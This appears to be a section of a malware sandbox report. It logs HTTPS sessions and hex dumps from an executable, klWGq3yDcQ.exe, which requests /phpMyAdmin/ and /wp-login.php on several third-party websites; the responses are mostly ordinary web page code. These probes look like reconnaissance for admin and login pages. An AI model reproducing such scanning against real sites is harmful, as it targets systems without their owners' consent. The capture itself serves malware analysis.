2023-11-26 05:59:40 UTC	864	IN	Data Raw: 36 66 63 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 Data Ascii: 6fc7<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8">...[if IE]><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><![endif]--><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 75 63 68 2d 69 63 6f 6e 5f 37 36 78 37 36 2e 70 6e 67 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 35 32 78 31 35 32 22 20 68 72 65 66 3d 22 2f 2f 74 72 61 64 65 61 76 65 6e 69 64 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 6f 72 74 6f 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 5f 31 35 32 78 31 35 32 2e 70 6e 67 22 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 2b 20 27 20 79 65 73 2d 6a 73 Data Ascii: uch-icon_76x76.png"><link rel="apple-touch-icon" sizes="152x152" href="//tradeavenida.com/wp-content/themes/porto/images/logo/apple-touch-icon_152x152.png"><script>document.documentElement.className = document.documentElement.className + ' yes-js
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 66 69 6c 6c 54 65 78 74 28 6e 2c 30 2c 30 29 2c 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 74 2e 65 76 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 5b 74 5d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 2c 6e 29 7b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 22 66 6c 61 67 22 3a 72 65 74 75 72 6e 20 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 33 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 32 36 61 37 5c 75 66 65 30 66 22 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 33 5c 75 66 65 30 66 5c 75 32 30 30 62 5c 75 32 36 Data Ascii: fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 29 3b 69 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 Data Ascii: Item(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 2e 6a 71 75 65 72 79 2e 63 73 73 3f 76 65 72 3d 32 2e 32 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 65 6d 6f 6a 69 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 0a 09 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 20 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 77 69 64 74 68 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 6d 61 72 67 69 6e 3a 20 Data Ascii: .jquery.css?ver=2.21' media='all' /><style id='wp-emoji-styles-inline-css'>img.wp-smiley, img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin:
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 62 6f 74 74 6f 6d 3a 34 70 78 20 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 34 70 78 20 73 6f 6c 69 64 3b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 37 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 20 63 69 74 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 20 66 6f 6f 74 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 5f 5f 63 69 74 61 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 Data Ascii: bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 6c 6f 63 6b 2d 74 61 62 6c 65 20 74 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 74 68 7b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 Data Ascii: lock-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:c
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 20 23 46 46 46 46 46 46 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 3a 20 23 41 37 31 34 34 43 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 72 3a 20 31 36 37 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 67 3a 20 32 30 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 62 3a 20 37 36 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 63 6f 6c 6f 72 5f 73 77 61 74 63 68 65 73 5f 62 6f 72 64 65 72 5f 72 61 64 69 75 73 3a 20 31 30 30 25 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 63 6f 6c 6f 72 5f 73 77 61 74 63 Data Ascii: #FFFFFF;--yith-wcan-filters_colors_accent: #A7144C;--yith-wcan-filters_colors_accent_r: 167;--yith-wcan-filters_colors_accent_g: 20;--yith-wcan-filters_colors_accent_b: 76;--yith-wcan-color_swatches_border_radius: 100%;--yith-wcan-color_swatc
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 65 20 61 2e 66 61 63 65 62 6f 6f 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 66 61 63 65 62 6f 6f 6b 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 74 77 69 74 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 35 41 46 45 32 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 35 41 46 45 32 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 74 77 69 74 74 65 72 3a 68 6f 76 65 72 7b 62 61 63 6b Data Ascii: e a.facebook{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.facebook:hover{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.twitter{background: #45AFE2; background-color: #45AFE2;}.yith-wcwl-share a.twitter:hover{back

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.4	61608	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	177	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	420	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://himontessori.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2c
2023-11-26 05:59:40 UTC	7772	IN	Data Raw: 32 62 34 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 61 72 74 69 63 6c 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 61 72 74 69 63 6c 65 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 Data Ascii: 2b47<!doctype html><html lang="en-US" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# article: http://ogp.me/ns/article#"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile"
2023-11-26 05:59:40 UTC	3313	IN	Data Raw: 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 32 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 61 62 6f 75 74 75 73 2f 22 3e 41 62 6f 75 74 20 48 4d 53 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 22 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 Data Ascii: -post_type menu-item-object-page menu-item-has-children menu-item-3412"><a href="https://himontessori.com/aboutus/">About HMS</a><ul class="sub-menu"><li id="menu-item-3415" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3415
2023-11-26 05:59:40 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:40 UTC	8192	IN	Data Raw: 33 62 31 30 0d 0a 09 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 3c 2f 6e 61 76 3e 3c 21 2d 2d 20 23 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 3e 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 3c 68 65 61 64 65 72 20 69 64 3d 22 6d 61 73 74 68 65 61 64 22 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 20 62 61 62 79 2d 68 65 61 64 2d 69 6d 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 2d 68 65 61 64 65 72 2d 69 6d 67 22 3e 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 62 79 2d 63 6f 6e 74 61 69 6e 65 72 20 73 69 74 65 2d 62 72 61 6e 64 69 6e 67 20 22 3e 0a 20 20 20 20 20 20 20 Data Ascii: 3b10</nav>... #site-navigation --></div></div></div><header id="masthead" class="site-header baby-head-img"> <div class="no-header-img"> <div class="baby-container site-branding ">
2023-11-26 05:59:40 UTC	6934	IN	Data Raw: 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 34 2f 27 3e 20 41 70 72 69 6c 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 33 2f 27 3e 20 4d 61 72 63 68 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 32 2f 27 3e 20 46 65 62 72 75 61 72 79 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 Data Ascii: 021 </option><option value='https://himontessori.com/2021/04/'> April 2021 </option><option value='https://himontessori.com/2021/03/'> March 2021 </option><option value='https://himontessori.com/2021/02/'> February 2021 </option><option value='htt
2023-11-26 05:59:40 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:40 UTC	4275	IN	Data Raw: 31 30 61 36 0d 0a 0a 09 09 3c 2f 73 65 6c 65 63 74 3e 0a 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 64 72 6f 70 64 6f 77 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 20 22 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 2d 2d 31 22 20 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 6f 6e 53 65 6c 65 63 74 43 68 61 6e 67 65 28 29 20 7b 0a 09 09 69 66 20 28 20 64 72 6f 70 64 6f 77 6e 2e 6f 70 74 69 6f 6e 73 5b 20 64 72 6f 70 64 6f 77 6e 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 20 5d 2e 76 61 6c 75 65 20 21 3d 3d 20 27 27 20 29 20 7b 0a 09 09 09 64 6f 63 75 6d 65 6e Data Ascii: 10a6</select><script type='text/javascript'>/* <![CDATA[ */(function() {var dropdown = document.getElementById( "archives-dropdown--1" );function onSelectChange() {if ( dropdown.options[ dropdown.selectedIndex ].value !== '' ) {documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.4	61704	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	636	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cache, privateCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:40 UTC	733	IN	Data Raw: 37 64 33 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d33<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f 72 20 22 2e Data Ascii: :void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info for ".
2023-11-26 05:59:40 UTC	1369	IN	Data Raw: 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a 36 30 7d 2c Data Ascii: !0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:60},
